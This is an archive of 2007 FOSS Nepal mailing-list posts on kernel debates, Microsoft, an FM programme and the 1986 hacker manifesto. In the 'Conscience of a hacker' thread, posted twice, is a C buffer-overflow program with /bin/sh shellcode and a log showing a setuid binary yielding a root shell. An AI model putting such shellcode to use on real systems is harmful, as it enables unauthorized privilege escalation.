[FOSS Nepal] Re: Web Services Architecture

[nepbabu.cx]

Prasanna Gautam wrote:
> thanks.. anyways I was wondering how many people saw the
> OpenCDbooks.rarfile... I'd got some of those books in an OpenCD
> http://www.theopencd.org/ contents that i liked were some essays...
> "free as in freedom" and the famous andy tanenbaum vs linus torvalds debate
> on usenet over the architecture of linux kernel, hehe... it was like looking
> at some hall of fame...
>
>   
Hehhe.. this is a never ending saga (atleast I believe they've never 
agreed over the kernel design)
One pushes for microkernel, the other for monolithic kernel. One pushes 
for cleaner, tighter kernel whereas other goes everything's good.

It's good to be informative, but Prasanna, I believe you are wasting too 
much time/effort on reading them
because these discussions on usenet are like a 2 seconds fart 
(ultimately lots of these types of discussion don't lead to anywhere)

It's better to discuss something more appropriate in relation FOSS I 
believe but no one's stopping you from discussing any arbritary things. ;)
G'day.



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[FOSS Nepal] Re: Web Services Architecture

[nepbabu.cx]

sushil wrote:
> Dear All,
> I have added a book on web services development and implementation. I
> hope it will be helpful for startup programmers like me. Please
> download it from the files section (http://groups.google.com/group/
> foss-nepal/files)
>   

http://www.w3.org/TR/ws-arch/


>
> Regards,
> Sushil
>
>   




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[FOSS Nepal] Re: statistics

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Prasanna wrote:
> This month
> 52Prasanna
> 23Ankur Sharma
> 14[EMAIL PROTECTED]
> 9 Subir Pradhanang
> 8 Zico
> 8 Sagun
> 7 Amit Aryal
> 6 Shankar Pokharel
> 6 [EMAIL PROTECTED]
> 6 masQuerade
>
> All time
> 188   Prasanna
> 110   Subir Pradhanang
> 107   Ujwal (RUBBOT)
> 100   Shankar Pokharel
> 100   Ankur Sharma
> 94geshan
> 85[EMAIL PROTECTED]
> 78Ekta SIlwal
> 76[EMAIL PROTECTED]
> 75nepBabu.cx
>
>
> wow...  is there some kind of "incentive" for top poster?
>
>   
Damn... at the bottom. :(



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[FOSS Nepal] 7 Reasons Microsoft Loves Opensource

[Amit Aryal]

microsoft loves opensource too?

http://digg.com/microsoft/7_Reasons_Microsoft_Loves_Opensource

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[FOSS Nepal] Re: The Conscience of a hacker

[Ankur Sharma]

well crafted! happy hacking

On 5/17/07, Ujwal (RUBBOT) <[EMAIL PROTECTED]> wrote:
>
>
> #include 
> #include 
> char shellrun[]="\xeb\x1f\x5e
> \x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
>"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb
> \x89\xd8\x40\xcd"
> "\x80\xe8\xdc\xff\xff\xff/bin/sh";
> char large_string[128];
>
> int main (int argc, char **argv)
> {
> char buffer[96];
> int i;
> long *long_ptr = (long*) large_string;
> for(i=0;i<32;i++)
> *(long_ptr + i) = (int) buffer;
> for(i=0;i<(int) strlen(shellrun); i++)
> large_string[i] = shellrun[i];
> strcpy(buffer,large_string);
> return 0;
> }
>
> >comppile
> >gcc hack.c
> >chown root.root a.out
> >chmod u+s a.out
> >whoami
> ujwal
> >./a.out
> #whoami
> root
> lets be some sort of hacker.
> best regards to all readers.
>
> On May 17, 5:48 am, "Prasanna Gautam" <[EMAIL PROTECTED]>
> wrote:
> > One of those classic pieces  in the history of computers...
> >
> > Another one got caught today, it's all over the papers. "Teenager
> Arrested
> >
> > > in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"...
> >
> > > Damn kids. They're all alike.
> >
> > > But did you, in your three-piece psychology and 1950's technobrain,
> ever
> > > take a look behind the eyes of the hacker? Did you ever wonder what
> made him
> > > tick, what forces shaped him, what may have molded him?
> >
> > > I am a hacker, enter my world...
> >
> > > Mine is a world that begins with school... I'm smarter than most of
> the
> > > other kids, this crap they teach us bores me...
> >
> > > Damn underachiever. They're all alike.
> >
> > > I'm in junior high or high school. I've listened to teachers explain
> > > forthe fifteenth time how to reduce a fraction. I understand it. "No,
> Ms.
> > > Smith, I didn't show my work. I did it in my head..."
> >
> > > Damn kid. Probably copied it. They're all alike.
> >
> > > I made a discovery today. I found a computer. Wait a second, this is
> cool.
> > > It does what I want it to. If it makes a mistake, it's because I
> screwed it
> > > up. Not because it doesn't like me... Or feels threatened by me... Or
> thinks
> > > I'm a smart ass... Or doesn't like teaching and shouldn't be here...
> >
> > > Damn kid. All he does is play games. They're all alike.
> >
> > > And then it happened... a door opened to a world... rushing through
> the
> > > phone line like heroin through an addict's veins, an electronic pulse
> is
> > > sent out, a refuge from the day-to-day incompetencies is sought... a
> board
> > > is found.
> >
> > > "This is it... this is where I belong..." I know everyone here... even
> if
> > > I've never met them, never talked to them, may never hear from them
> again...
> > > I know you all...
> >
> > > Damn kid. Tying up the phone line again. They're all alike...
> >
> > > You bet your ass we're all alike... we've been spoon-fed baby food at
> > > school when we hungered for steak... the bits of meat that you did let
> slip
> > > through were pre-chewed and tasteless. We've been dominated by
> sadists, or
> > > ignored by the apathetic. The few that had something to teach found us
> > > willing pupils, but those few are like drops of water in the desert.
> >
> > > This is our world now... the world of the electron and the switch, the
> > > beauty of the baud. We make use of a service already existing without
> paying
> > > for what could be dirt-cheap if it wasn't run by profiteering
> gluttons, and
> > > you callus criminals. We explore... and you call us criminals. We seek
> after
> > > knowledge... and you call us criminals. We exist without skin color,
> without
> > > nationality, without religious bias... and you call us criminals. You
> build
> > > atomic bombs, you wage wars, you murder, cheat, and lie to us and try
> to
> > > make us believe it's for our own good, yet we're the criminals.
> >
> > > Yes, I am a criminal. My crime is that of curiosity. My crime is that
> of
> > > judging people by what they say and think, not what they look like. My
> crime
> > > is that of outsmarting you, something that you will never forgive me
> for.
> >
> > > I am a hacker, and this is my manifesto. You may stop this individual,
> but
> > > you can't stop us all... after all, we're all alike.
> >
> > > The Mentor. 08/01/1986
>
>
> >
>

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[FOSS Nepal] Wanna attend Ubuntulive!?

[Shankar Pokharel]

http://www.ubuntulive.com/

Ubuntu Live is the official, trusted event for the Ubuntu community,
welcoming all the different segments within the Ubuntu ecosystem--experts,
long-time users, established companies, and newcomers alike in a passionate,
energizing environment.

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[FOSS Nepal] Re: The Conscience of a hacker

[Ujwal (RUBBOT)]

#include 
#include 
char shellrun[]="\xeb\x1f\x5e
\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0"
   "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb
\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char large_string[128];

int main (int argc, char **argv)
{
char buffer[96];
int i;
long *long_ptr = (long*) large_string;
for(i=0;i<32;i++)
*(long_ptr + i) = (int) buffer;
for(i=0;i<(int) strlen(shellrun); i++)
large_string[i] = shellrun[i];
strcpy(buffer,large_string);
return 0;
}

>comppile
>gcc hack.c
>chown root.root a.out
>chmod u+s a.out
>whoami
ujwal
>./a.out
#whoami
root
lets be some sort of hacker.
best regards to all readers.

On May 17, 5:48 am, "Prasanna Gautam" <[EMAIL PROTECTED]>
wrote:
> One of those classic pieces  in the history of computers...
>
> Another one got caught today, it's all over the papers. "Teenager Arrested
>
> > in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"...
>
> > Damn kids. They're all alike.
>
> > But did you, in your three-piece psychology and 1950's technobrain, ever
> > take a look behind the eyes of the hacker? Did you ever wonder what made him
> > tick, what forces shaped him, what may have molded him?
>
> > I am a hacker, enter my world...
>
> > Mine is a world that begins with school... I'm smarter than most of the
> > other kids, this crap they teach us bores me...
>
> > Damn underachiever. They're all alike.
>
> > I'm in junior high or high school. I've listened to teachers explain
> > forthe fifteenth time how to reduce a fraction. I understand it. "No, Ms.
> > Smith, I didn't show my work. I did it in my head..."
>
> > Damn kid. Probably copied it. They're all alike.
>
> > I made a discovery today. I found a computer. Wait a second, this is cool.
> > It does what I want it to. If it makes a mistake, it's because I screwed it
> > up. Not because it doesn't like me... Or feels threatened by me... Or thinks
> > I'm a smart ass... Or doesn't like teaching and shouldn't be here...
>
> > Damn kid. All he does is play games. They're all alike.
>
> > And then it happened... a door opened to a world... rushing through the
> > phone line like heroin through an addict's veins, an electronic pulse is
> > sent out, a refuge from the day-to-day incompetencies is sought... a board
> > is found.
>
> > "This is it... this is where I belong..." I know everyone here... even if
> > I've never met them, never talked to them, may never hear from them again...
> > I know you all...
>
> > Damn kid. Tying up the phone line again. They're all alike...
>
> > You bet your ass we're all alike... we've been spoon-fed baby food at
> > school when we hungered for steak... the bits of meat that you did let slip
> > through were pre-chewed and tasteless. We've been dominated by sadists, or
> > ignored by the apathetic. The few that had something to teach found us
> > willing pupils, but those few are like drops of water in the desert.
>
> > This is our world now... the world of the electron and the switch, the
> > beauty of the baud. We make use of a service already existing without paying
> > for what could be dirt-cheap if it wasn't run by profiteering gluttons, and
> > you callus criminals. We explore... and you call us criminals. We seek after
> > knowledge... and you call us criminals. We exist without skin color, without
> > nationality, without religious bias... and you call us criminals. You build
> > atomic bombs, you wage wars, you murder, cheat, and lie to us and try to
> > make us believe it's for our own good, yet we're the criminals.
>
> > Yes, I am a criminal. My crime is that of curiosity. My crime is that of
> > judging people by what they say and think, not what they look like. My crime
> > is that of outsmarting you, something that you will never forgive me for.
>
> > I am a hacker, and this is my manifesto. You may stop this individual, but
> > you can't stop us all... after all, we're all alike.
>
> > The Mentor. 08/01/1986


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[FOSS Nepal] Re: 09 F9 11 02 9D 74 E3 5B D8 41 56 C5 63 56 88 C0

[Shankar Pokharel]

A very beautiful web page, check once:

http://www.google.com/search?q=+09+F9+11+02+9D+74+E3+5B+D8+41+56+C5+63+56+88+C0&ie=utf-8&oe=utf-8&aq=t&rls=org.mozilla:en-US:official&client=firefox-a


On 5/16/07, Prasanna Gautam <[EMAIL PROTECTED]> wrote:
>
> A number cannot be patented.
> A number cannot be copyrighted.
> Do not bow to the threats as others  have.
> Spread the word.
> Fight for truth.
> >
>

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[FOSS Nepal] The Conscience of a hacker

[Prasanna Gautam]

One of those classic pieces  in the history of computers...

Another one got caught today, it's all over the papers. "Teenager Arrested
> in Computer Crime Scandal", "Hacker Arrested after Bank Tampering"...
>
> Damn kids. They're all alike.
>
> But did you, in your three-piece psychology and 1950's technobrain, ever
> take a look behind the eyes of the hacker? Did you ever wonder what made him
> tick, what forces shaped him, what may have molded him?
>
> I am a hacker, enter my world...
>
> Mine is a world that begins with school... I'm smarter than most of the
> other kids, this crap they teach us bores me...
>
> Damn underachiever. They're all alike.
>
> I'm in junior high or high school. I've listened to teachers explain
> forthe fifteenth time how to reduce a fraction. I understand it. "No, Ms.
> Smith, I didn't show my work. I did it in my head..."
>
> Damn kid. Probably copied it. They're all alike.
>
> I made a discovery today. I found a computer. Wait a second, this is cool.
> It does what I want it to. If it makes a mistake, it's because I screwed it
> up. Not because it doesn't like me... Or feels threatened by me... Or thinks
> I'm a smart ass... Or doesn't like teaching and shouldn't be here...
>
> Damn kid. All he does is play games. They're all alike.
>
> And then it happened... a door opened to a world... rushing through the
> phone line like heroin through an addict's veins, an electronic pulse is
> sent out, a refuge from the day-to-day incompetencies is sought... a board
> is found.
>
> "This is it... this is where I belong..." I know everyone here... even if
> I've never met them, never talked to them, may never hear from them again...
> I know you all...
>
> Damn kid. Tying up the phone line again. They're all alike...
>
> You bet your ass we're all alike... we've been spoon-fed baby food at
> school when we hungered for steak... the bits of meat that you did let slip
> through were pre-chewed and tasteless. We've been dominated by sadists, or
> ignored by the apathetic. The few that had something to teach found us
> willing pupils, but those few are like drops of water in the desert.
>
> This is our world now... the world of the electron and the switch, the
> beauty of the baud. We make use of a service already existing without paying
> for what could be dirt-cheap if it wasn't run by profiteering gluttons, and
> you callus criminals. We explore... and you call us criminals. We seek after
> knowledge... and you call us criminals. We exist without skin color, without
> nationality, without religious bias... and you call us criminals. You build
> atomic bombs, you wage wars, you murder, cheat, and lie to us and try to
> make us believe it's for our own good, yet we're the criminals.
>
> Yes, I am a criminal. My crime is that of curiosity. My crime is that of
> judging people by what they say and think, not what they look like. My crime
> is that of outsmarting you, something that you will never forgive me for.
>
> I am a hacker, and this is my manifesto. You may stop this individual, but
> you can't stop us all... after all, we're all alike.
>
> The Mentor. 08/01/1986
>

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[FOSS Nepal] statistics

[Prasanna]

This month
52  Prasanna
23  Ankur Sharma
14  [EMAIL PROTECTED]
9   Subir Pradhanang
8   Zico
8   Sagun
7   Amit Aryal
6   Shankar Pokharel
6   [EMAIL PROTECTED]
6   masQuerade

All time
188 Prasanna
110 Subir Pradhanang
107 Ujwal (RUBBOT)
100 Shankar Pokharel
100 Ankur Sharma
94  geshan
85  [EMAIL PROTECTED]
78  Ekta SIlwal
76  [EMAIL PROTECTED]
75  nepBabu.cx


wow...  is there some kind of "incentive" for top poster?


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[FOSS Nepal] want to study Javascript

[Prasanna Gautam]

here's a nice talk given by Yahoo's Douglas Crockford...
http://developer.yahoo.com/yui/theater/

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[FOSS Nepal] Re: some secrets

[Prasanna Gautam]

By the way this is the book in question..
http://www.vanwensveen.nl/rants/microsoft/IhateMS
This is the intro

> From the title of this paper you may have guessed that I am not very
> impressed with the guys in Redmond. One might even say that my dislike for
> Microsoft is a pet hate gone out of control in an almost quixotic fashion.
> Why is this?
>
> Of course I have been accused of personal antipathy, of being jealous of
> Bill Gates and his billions, and of being prejudiced against all things
> Microsoft without any reason whatsoever. None of this is true. I have
> nothing personal against Bill Gates. Why should I? I don't know the man,
> I've never met him. I agree with those who say he might be the most
> successful salesman in history. And I've always thought that even one
> billion in almost any currency is more than I could reasonably spend.
>
> No. It's rather his business practices, and that of his company, that I am
> opposed to, for a large and still growing number of reasons, most of which
> are plain, verifiable facts.
> This paper explains *why* Microsoft is bad for us.
> Disclaimer
>
> The following represents my own personal point of view. It does not
> necessarily represent the points of view of my employers, clients,
> associates, friends, relatives, pets or houseplants. If they want a point of
> view, they can go and grow their own, so there. If you read this document
> and a tree falls on your house as a result of any inaccuracy on my part, I
> shall not be held responsible.
>
> All registered trademarks mentioned in this text are the property of their
> respective owners and are hereby acknowledged.
>

one more thing... as the Yardbirds once sang as well "Don't judge a book by
its cover"
FYI, I am using a windows box right now... but nothing i use is
microsoft except Internet explorer (showed some problems in
linux)... and other thing is we need to know the ways of the enemy to
effectively beat it. Everytime I touch the window, i miss beryl... and
yeah... everytime i play age of empires or try making a game/robot(at least
simulate) using MS tools... ... i wish there were some for linux... there
will be..

On 5/17/07, Prasanna Gautam <[EMAIL PROTECTED]> wrote:
>
> wtf... do u mean to say Linux is communist? Microsoft does have good
> technologies and probably some of the best minds... but so much is getting
> wasted. They make false claims, participate in un-trade-friendly and
> monopolistic practices(yeah, that sounds more like saying "comrade")  i'm
> not defending the book but essentially I was putting a "truth."
> The effect of Microsoft is psychological, not technological. Stalling
> science(and engineering) for decades is a crime... and Microsoft committed
> that. We have a nice OS... or OSes... if Microsoft comes to the point of
> slandering the open source community... we will get back
>
> Yep that's what Free Software Foundation is for: "Fight the Truth" not
> Microsoft.
>
> :D
>
> On 5/17/07, Bipin Gautam < [EMAIL PROTECTED]> wrote:
> >
> >
> > friends,
> > we dont need to spread the word "HATE microsoft" to make us love
> > OSS as we do or do we got to have a comparison ground to make us
> > look better. I love to use technologies available in OFF as much as
> > everyone out here in the list does but dont you think books as "why i
> > hate microsoft" is completely biased and aims to influence the reader
> > towards towards the writers opinion anyways?
> >
> > The point is hating microsoft isnt wrong... if its your personal
> > opinion that's build up from personal feelings. Loving a biased
> > opinion without personal judgement is WRONG.
> >
> > Thing i hate about influential ppl. in the international FOSS
> > community is they try to teach "Ka" for "comred" instead of C for CAT.
> >
> > Linux "is" most of your e-religion, and I know. i dont want to
> > offensive or hurt any of my friends feelings over here but what my
> > education has taught me is we should celebrate our culture but never
> > follow it blindly as extreme superstition so be it in the real
> > world or in the digital world.
> >
> > and this is for your call Prasanna:
> > Softwares are like mathmatical algorithm, numbers
> > A number cannot be patented.
> > A number cannot be copyrighted.
> > Do not bow to the threats as others have.
> > Spread the word.
> > Fight for truth.
> >
> > (o:
> >
> > -bipin
> >
> > > >
> >
>

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[FOSS Nepal] Re: some secrets

[Prasanna Gautam]

wtf... do u mean to say Linux is communist? Microsoft does have good
technologies and probably some of the best minds... but so much is getting
wasted. They make false claims, participate in un-trade-friendly and
monopolistic practices(yeah, that sounds more like saying "comrade")  i'm
not defending the book but essentially I was putting a "truth."
The effect of Microsoft is psychological, not technological. Stalling
science(and engineering) for decades is a crime... and Microsoft committed
that. We have a nice OS... or OSes... if Microsoft comes to the point of
slandering the open source community... we will get back

Yep that's what Free Software Foundation is for: "Fight the Truth" not
Microsoft.

:D

On 5/17/07, Bipin Gautam <[EMAIL PROTECTED]> wrote:
>
>
> friends,
> we dont need to spread the word "HATE microsoft" to make us love
> OSS as we do or do we got to have a comparison ground to make us
> look better. I love to use technologies available in OFF as much as
> everyone out here in the list does but dont you think books as "why i
> hate microsoft" is completely biased and aims to influence the reader
> towards towards the writers opinion anyways?
>
> The point is hating microsoft isnt wrong... if its your personal
> opinion that's build up from personal feelings. Loving a biased
> opinion without personal judgement is WRONG.
>
> Thing i hate about influential ppl. in the international FOSS
> community is they try to teach "Ka" for "comred" instead of C for CAT.
>
> Linux "is" most of your e-religion, and I know. i dont want to
> offensive or hurt any of my friends feelings over here but what my
> education has taught me is we should celebrate our culture but never
> follow it blindly as extreme superstition so be it in the real
> world or in the digital world.
>
> and this is for your call Prasanna:
> Softwares are like mathmatical algorithm, numbers
> A number cannot be patented.
> A number cannot be copyrighted.
> Do not bow to the threats as others have.
> Spread the word.
> Fight for truth.
>
> (o:
>
> -bipin
>
> >
>

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[FOSS Nepal] Re: some secrets

[Bipin Gautam]

friends,
we dont need to spread the word "HATE microsoft" to make us love
OSS as we do or do we got to have a comparison ground to make us
look better. I love to use technologies available in OFF as much as
everyone out here in the list does but dont you think books as "why i
hate microsoft" is completely biased and aims to influence the reader
towards towards the writers opinion anyways?

The point is hating microsoft isnt wrong... if its your personal
opinion that's build up from personal feelings. Loving a biased
opinion without personal judgement is WRONG.

Thing i hate about influential ppl. in the international FOSS
community is they try to teach "Ka" for "comred" instead of C for CAT.

Linux "is" most of your e-religion, and I know. i dont want to
offensive or hurt any of my friends feelings over here but what my
education has taught me is we should celebrate our culture but never
follow it blindly as extreme superstition so be it in the real
world or in the digital world.

and this is for your call Prasanna:
Softwares are like mathmatical algorithm, numbers
A number cannot be patented.
A number cannot be copyrighted.
Do not bow to the threats as others have.
Spread the word.
Fight for truth.

(o:

-bipin

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[FOSS Nepal] Re: some secrets

[Jwalanta Shrestha]

if u guys wanna know how innovative m$ is,

http://www.vcnet.com/bms/departments/innovation.shtml

n this too..
http://www.dwheeler.com/innovation/microsoft.html



On 5/16/07, Prasanna Gautam <[EMAIL PROTECTED]> wrote:
>
> yeah... how can u expect sth good to come out of M$ originally... ? haha..
>
> On 5/16/07, masQuerade <[EMAIL PROTECTED] > wrote:
> >
> >
> > Its good to know that Hotmail uses Unix server. But, I think i have
> > heard something different. Hotmail is not the original product or
> > service of M$ Windows. It was bought from some others ,so has now
> > rebranded to Windows Live Hotmail. I think it was first started from
> > BSD.
> > It was all what I had read, as much as I remember .
> >
> > ACP Masquerade
> >
> >
> >
> >
> >
>
> >
>

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[FOSS Nepal] Re: fm program

[Jwalanta Shrestha]

so who's goin??

On 5/16/07, प्रबीण ( ओपन ठिटो ) <[EMAIL PROTECTED]> wrote:
>
> +1 subir dai
>

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[FOSS Nepal] Re: Microsoft takes on the free world

[Prasanna Gautam]

It's all the FUDgy logic out

On 5/16/07, Prasanna Gautam <[EMAIL PROTECTED]> wrote:
>
> Bill is leaving on 2008... let's see if it's his last stand...
>
> On 5/16/07, Ankur Sharma <[EMAIL PROTECTED] > wrote:
> >
> > We shouldn't hope billy will rewrite the letter to homebrew computer
> > club (at least, unless we open it once again). Billy is smart , i hadn't
> > expected dumb move like this from him (maybe he started listening his
> > fellows). Lets hope he will something more sensible enough!!! and make this
> > fight more exciting, and  I feel that we might be near to  MKG third step...
> >
> > The War has Begun.
> >
> > On 5/16/07, प्रबीण ( ओपन ठिटो ) < [EMAIL PROTECTED]> wrote:
> > >
> > > ya . i once have thought of such situation in the beginning of our
> > > movement...
> > >
> > > MS$ once was sure to do such stuff. Its our success which pulls M$
> > > upto here...
> > >
> > >
> > >
> > > Ya as Bapu said..
> > >
> > > First they ignore you,
> > >
> > > then they ridicule you,
> > >
> > > *then they fight you*,
> > >
> > > then you win." -
> > >
> > >
> > >
> > > ..
> > >
> > >
> > > Its time of M$ just before it realiZes itself a LOOSER...
> > >
> > >
> > >
> > > --
> > > Prabin Gautam "ओपन ठिटो"
> > > KUOSC
> > > letS makE ouR streeT FOSSible..
> > >
> > >
> > >
> >
> > > >
> >
>

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[Prasanna Gautam]

A number cannot be patented.
A number cannot be copyrighted.
Do not bow to the threats as others  have.
Spread the word.
Fight for truth.

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[FOSS Nepal] Re: Microsoft takes on the free world

[Prasanna Gautam]

Bill is leaving on 2008... let's see if it's his last stand...

On 5/16/07, Ankur Sharma <[EMAIL PROTECTED]> wrote:
>
> We shouldn't hope billy will rewrite the letter to homebrew computer club
> (at least, unless we open it once again). Billy is smart , i hadn't expected
> dumb move like this from him (maybe he started listening his fellows). Lets
> hope he will something more sensible enough!!! and make this fight more
> exciting, and  I feel that we might be near to  MKG third step...
> The War has Begun.
>
> On 5/16/07, प्रबीण ( ओपन ठिटो ) <[EMAIL PROTECTED]> wrote:
> >
> > ya . i once have thought of such situation in the beginning of our
> > movement...
> >
> > MS$ once was sure to do such stuff. Its our success which pulls M$ upto
> > here...
> >
> >
> >
> > Ya as Bapu said..
> >
> > First they ignore you,
> >
> > then they ridicule you,
> >
> > *then they fight you*,
> >
> > then you win." -
> >
> >
> >
> > ..
> >
> >
> > Its time of M$ just before it realiZes itself a LOOSER...
> >
> >
> >
> > --
> > Prabin Gautam "ओपन ठिटो"
> > KUOSC
> > letS makE ouR streeT FOSSible..
> >
> >
> >
>
> >
>

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[FOSS Nepal] Re: some secrets

[Prasanna Gautam]

yeah... how can u expect sth good to come out of M$ originally... ? haha..

On 5/16/07, masQuerade <[EMAIL PROTECTED]> wrote:
>
>
> Its good to know that Hotmail uses Unix server. But, I think i have
> heard something different. Hotmail is not the original product or
> service of M$ Windows. It was bought from some others ,so has now
> rebranded to Windows Live Hotmail. I think it was first started from
> BSD.
> It was all what I had read, as much as I remember .
>
> ACP Masquerade
>
>
> >
>

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[FOSS Nepal] Re: Microsoft takes on the free world

[Ankur Sharma]

We shouldn't hope billy will rewrite the letter to homebrew computer club
(at least, unless we open it once again). Billy is smart , i hadn't expected
dumb move like this from him (maybe he started listening his fellows). Lets
hope he will something more sensible enough!!! and make this fight more
exciting, and  I feel that we might be near to  MKG third step...
The War has Begun.

On 5/16/07, प्रबीण ( ओपन ठिटो ) <[EMAIL PROTECTED]> wrote:
>
> ya . i once have thought of such situation in the beginning of our
> movement...
>
> MS$ once was sure to do such stuff. Its our success which pulls M$ upto
> here...
>
>
>
> Ya as Bapu said..
>
> First they ignore you,
>
> then they ridicule you,
>
> *then they fight you*,
>
> then you win." -
>
>
>
> ..
>
>
> Its time of M$ just before it realiZes itself a LOOSER...
>
>
>
> --
> Prabin Gautam "ओपन ठिटो"
> KUOSC
> letS makE ouR streeT FOSSible..
> >
>

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[FOSS Nepal] Re: Microsoft takes on the free world

[प्रबीण ( ओपन ठिटो )]

ya . i once have thought of such situation in the beginning of our
movement...

MS$ once was sure to do such stuff. Its our success which pulls M$ upto
here...



Ya as Bapu said..

First they ignore you,

then they ridicule you,

*then they fight you*,

then you win." -



..

Its time of M$ just before it realiZes itself a LOOSER...



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KUOSC
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[FOSS Nepal] Re: fm program

[प्रबीण ( ओपन ठिटो )]

+1 subir dai


On 5/16/07, Subir Pradhanang <[EMAIL PROTECTED]> wrote:
>
>
> On 5/16/07, Ankur Sharma <[EMAIL PROTECTED]> wrote:
> > Let us have a question answer session from two person (from foss)
> discussing
> > alternative softwares in opensource related to productivity , office,
> design
> > etc.
>
> This is what I was also thinking about...letting the users know about
> the alternatives.
>
> Cheers,
> Subir
>
> >
>


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[FOSS Nepal] Re: some secrets

[masQuerade]

Its good to know that Hotmail uses Unix server. But, I think i have
heard something different. Hotmail is not the original product or
service of M$ Windows. It was bought from some others ,so has now
rebranded to Windows Live Hotmail. I think it was first started from
BSD.
It was all what I had read, as much as I remember .

ACP Masquerade


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[FOSS Nepal] Re: fm program

[masQuerade]

Its good to have a talk programme between two FOSSians and also if
possible one who is a die hard windows or proprietry software user.
That is among the three. I feel that sounds better .

Besides, can we talk about where can be Free and Open Source, because
Free and Open Source is not only for Softwares.

The next thing is we should have a different portal for the FM
programme, so that we can have the archives or previous discussed
topics and other information in each programme, not in this common
discussion board. Its just a thought. Coz i always make thoughts like
that , ha ha !

Wishes,
ACP Masquerade,
Deployed for Computing...


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